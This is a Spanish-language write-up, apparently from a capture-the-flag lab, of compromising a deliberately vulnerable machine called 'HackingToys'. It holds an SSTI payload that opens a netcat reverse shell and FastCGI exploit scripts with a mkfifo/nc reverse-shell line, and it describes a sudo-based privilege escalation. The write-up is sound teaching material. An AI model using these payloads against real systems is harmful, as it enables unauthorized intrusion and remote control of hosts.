# HackingToys

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Foy0fTLSKjLfhnqN29Ogy%2Fimage.png?alt=media&#x26;token=1a8cff57-7f5c-457b-a5b1-6efc839972b5" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

Primero realizamos un escaneo de nuestra red para identificar a la maquina vulnerable victima:

```
arp-scan -l
```

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FphMWU5FfjVv5GcT0sDnY%2Fimage.png?alt=media&#x26;token=2175641a-1fab-4d96-b3b3-fcfc10276cf1" alt=""><figcaption></figcaption></figure>

`nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv`

Ejecutamos un escaneo de nmap para ver ante que puertos abiertos y servicios nos enfrentamos. Y nos encontramos los puertos 22 (Ssh) y 3000 abiertos:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FGqAnbpxstKm7nEb6Kdix%2Fimage.png?alt=media&#x26;token=b016db07-ee34-4b63-9572-059591d8d976" alt=""><figcaption></figcaption></figure>

Entro (Con https) a la IP a traves del puerto 3000 y me encuentro con una pagina con varios gadgets y una barra con la cual podemos buscar dichos gadgets:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FMWzwm23HoW3iGIUyezN1%2Fimage.png?alt=media&#x26;token=64ff228d-c8cd-4ff2-be49-7f424c083029" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

Quizás la barra de busqueda es vulnerable a un SSTI (Server Side Template Injection), vamos a probar a url encodear 7\*7, y si la respuesta es 49, significara que es vulnerable ([Página web](https://www.urlencoder.org/es/)):

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Fm5GhM3CSeqJKwRSKw9a6%2Fimage.png?alt=media&#x26;token=a5204b94-862f-491b-919c-724ec34ce8cd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FkicEbrgdYcSn8pyKK2Wh%2Fimage.png?alt=media&#x26;token=1e283c67-9ea8-4553-ae4a-a1437c279087" alt=""><figcaption></figcaption></figure>

Vamos a lanzar una reverse shell a nuestra maquina victima:

```
<%= system("nc -e /bin/bash 192.168.8.109 4444") %>
```

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FxrXAjxh21Hhs2hK4nYA6%2Fimage.png?alt=media&#x26;token=aaf5d819-a9f0-44b2-a11b-64cb1403dbcb" alt=""><figcaption><p>Nos llega exitosamente</p></figcaption></figure>

## Escalada de privilegios

Ahora depuramos la [tty](https://burple.gitbook.io/burple/cheats/depuracion-de-tty) y a continuación ejecutamos ss -altpn para ver a que puertos esta escuchando la maquina victima y podemos apreciar que esta escuchando al puerto 9000, el cual corresponde a [Fast-cgi](https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi):

&#x20;

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FeSOA8j52LAuRLOAjTFu1%2Fimage.png?alt=media&#x26;token=a16105d5-e9ee-4f43-83ec-b8091b14618d" alt=""><figcaption></figcaption></figure>

&#x20;Para confirmar que en efecto se esta haciendo uso de Fast-cgi podemos ir a la siguiente ruta para confirmarlo:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Fwk44jGX0i5e1XriPlgCN%2Fimage.png?alt=media&#x26;token=529316fd-1bb7-47c1-a23f-0899c6c0ceb5" alt=""><figcaption></figcaption></figure>

Ahora vamos a explotarlo, creamos el siguiente código extraido de HacksTricks y le damos permisos con chmod +x exploit.sh (En mi caso me he ido a /dev/shm y he creado un index.php vacio, y ese archivo creado es la ruta que he introducido en "FILENAMES"):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
```

Ejecutamos el archivo:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2F2IvFtgxORQlkIboBkcwD%2Fimage.png?alt=media&#x26;token=af6d2d53-e3c8-4ace-987a-22f4536b78d0" alt=""><figcaption></figcaption></figure>

Ahora que sabes que funciona, vamos a mandarnos una reverse shell a nuestra maquina (Script extraido de [está pagina web](https://exploit-notes.hdks.org/exploit/network/fastcgi-pentesting/)):

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f'); echo '-->';"
FILENAMES="/dev/shm/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

```

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FIiaahMZv4NvtWxTYMiND%2Fimage.png?alt=media&#x26;token=13439feb-9848-455b-b79e-9f793a37112b" alt=""><figcaption><p>Nos llega la solicitud con exito</p></figcaption></figure>

Procedemos a depurar la [tty](https://burple.gitbook.io/burple/cheats/depuracion-de-tty) y ahora si que podemos ejecutar sudo -l y vemos que todo el mundo puede ejecutar rvm\_rails.sh:&#x20;

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FQBTkJO7fPmICXlLYKUmk%2Fimage.png?alt=media&#x26;token=f0df3e99-442c-485a-a89f-cf5c2bde268e" alt=""><figcaption></figcaption></figure>

Vamos a crear un nuevo tipo de rvm\_rails.sh, para poder así entrar a la consola:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FQrnqZ7cKH8RaAPx2oZbh%2Fimage.png?alt=media&#x26;token=f0132dd8-01da-4fee-a682-7c94021bff0f" alt=""><figcaption></figcaption></figure>

Entramos corriendo como sudo el archivo y introduciendo como parametro console, y comprobamos que permisos tendria:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Frs1MIay0EEEFO2uooF34%2Fimage.png?alt=media&#x26;token=3c750019-bbaf-4422-b4f6-05c1e39d129f" alt=""><figcaption></figcaption></figure>

Ahora vamos a correr un bash para ser root y tener aceso total a la maquina:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Fv6cTR8xNAdlXx8a5yocN%2Fimage.png?alt=media&#x26;token=33c97c9c-38dc-4224-b8db-8bbe22047d7f" alt=""><figcaption></figcaption></figure>
